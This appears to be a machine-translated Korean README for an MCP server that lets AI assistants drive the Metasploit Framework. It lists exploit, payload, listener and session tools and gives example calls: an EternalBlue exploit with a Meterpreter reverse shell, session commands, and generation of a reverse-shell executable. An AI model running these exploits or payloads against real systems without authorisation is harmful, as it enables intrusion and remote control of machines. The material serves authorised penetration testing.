메타스플로잇 MCP 서버
Metasploit Framework 통합을 위한 MCP(Model Context Protocol) 서버.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
설명
이 MCP 서버는 Claude와 같은 대규모 언어 모델과 Metasploit Framework 침투 테스트 플랫폼을 연결하는 다리 역할을 합니다. AI 지원 담당자가 표준화된 도구를 통해 Metasploit 기능에 동적으로 접근하고 제어할 수 있도록 지원하여 복잡한 보안 테스트 워크플로에 자연어 인터페이스를 제공합니다.
특징
모듈 정보
- list_exploits : 사용 가능한 Metasploit 익스플로잇 모듈을 검색하고 나열합니다.
- list_payloads : 선택적 플랫폼 및 아키텍처 필터링을 통해 사용 가능한 Metasploit 페이로드 모듈을 검색하고 나열합니다.
악용 워크플로
- run_exploit : 먼저 검사를 실행하기 위한 옵션을 사용하여 대상에 대한 익스플로잇을 구성하고 실행합니다.
- run_auxiliary_module : 사용자 정의 옵션을 사용하여 Metasploit 보조 모듈을 실행합니다.
- run_post_module : 기존 세션에 대해 사후 공격 모듈 실행
페이로드 생성
- generate_payload : Metasploit RPC를 사용하여 페이로드 파일을 생성합니다(파일을 로컬에 저장)
세션 관리
- list_active_sessions : 자세한 정보와 함께 현재 Metasploit 세션을 표시합니다.
- send_session_command : 활성 셸 또는 Meterpreter 세션에서 명령을 실행합니다.
- terminate_session : 활성 세션을 강제로 종료합니다.
핸들러 관리
- list_listeners : 모든 활성 핸들러 및 백그라운드 작업을 표시합니다.
- start_listener : 연결을 수신하기 위한 새로운 멀티/핸들러를 생성합니다.
- stop_job : 실행 중인 작업이나 핸들러를 종료합니다.
필수 조건
- Metasploit Framework가 설치되고 msfrpcd가 실행 중입니다.
- Python 3.10 이상
- 필수 Python 패키지(requirements.txt 참조)
설치
- 이 저장소를 복제하세요
- 종속성 설치:지엑스피1
- 환경 변수 구성(선택 사항):
용법
Metasploit RPC 서비스를 시작합니다.
운송 옵션
서버는 두 가지 전송 방법을 지원합니다.
- HTTP/SSE(Server-Sent Events) : 대부분의 MCP 클라이언트와의 상호 운용성을 위한 기본 모드
- STDIO(표준 입력/출력) : Claude Desktop 및 유사한 직접 파이프 연결과 함께 사용됨
--transport
플래그를 사용하여 전송 모드를 명시적으로 선택할 수 있습니다.
HTTP 모드에 대한 추가 옵션:
Claude 데스크톱 통합
Claude Desktop 통합을 위해 claude_desktop_config.json
구성합니다.
다른 MCP 클라이언트
HTTP/SSE를 사용하는 다른 MCP 클라이언트의 경우:
- HTTP 모드로 서버를 시작합니다.
- MCP 클라이언트를 다음에 연결하도록 구성하세요.
- SSE 엔드포인트:
http://your-server-ip:8085/sse
- SSE 엔드포인트:
보안 고려 사항
⚠️ 중요 보안 경고 :
이 도구는 강력한 익스플로잇 기능을 포함한 Metasploit Framework 기능에 직접 액세스할 수 있도록 합니다. 보안 테스트를 수행할 수 있는 명시적인 권한이 있는 환경에서만 책임감 있게 사용하십시오.
- 실행하기 전에 항상 모든 명령을 검증하고 검토하세요.
- 분리된 테스트 환경이나 적절한 권한이 있는 경우에만 실행하세요.
- 사후 공격 명령으로 인해 시스템에 상당한 수정이 발생할 수 있음을 알아 두십시오.
예제 워크플로
기본 착취
- 사용 가능한 익스플로잇 목록:
list_exploits("ms17_010")
- 익스플로잇을 선택하고 실행합니다:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
- 세션 목록:
list_active_sessions()
- 명령 실행:
send_session_command(1, "whoami")
착취 이후
- 게시 모듈 실행:
run_post_module("windows/gather/enum_logged_on_users", 1)
- 사용자 정의 명령 보내기:
send_session_command(1, "sysinfo")
- 완료되면 종료:
terminate_session(1)
핸들러 관리
- 리스너 시작:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
- 활성 핸들러 나열:
list_listeners()
- 페이로드 생성:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
- 핸들러 중지:
stop_job(1)
구성 옵션
페이로드 저장 디렉토리
기본적으로 generate_payload
로 생성된 페이로드는 홈 폴더의 payloads
디렉터리( ~/payloads
또는 C:\Users\YourUsername\payloads
)에 저장됩니다. PAYLOAD_SAVE_DIR
환경 변수를 설정하여 이 위치를 사용자 지정할 수 있습니다.
환경 변수 설정:
- 윈도우(PowerShell) :
- Windows(명령 프롬프트) :
- 리눅스/맥OS :
- Claude Desktop 구성에서 :
참고: 사용자 지정 경로를 지정하는 경우, 해당 경로가 존재하는지 또는 애플리케이션에 해당 경로를 생성할 권한이 있는지 확인하세요. 경로가 유효하지 않으면 페이로드 생성이 실패할 수 있습니다.
특허
아파치 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
대규모 언어 모델과 Metasploit Framework 간의 브리지를 제공하여 AI 도우미가 자연어로 침투 테스트 기능에 액세스하고 제어할 수 있도록 합니다.
Related MCP Servers
- -securityFlicense-qualityA demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.Last updated -11Python
- -securityFlicense-qualityEnables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.Last updated -JavaScript
- AsecurityFlicenseAqualityA Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.Last updated -227Python
- -security-license-qualityA module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.Last updated -PythonGPL 3.0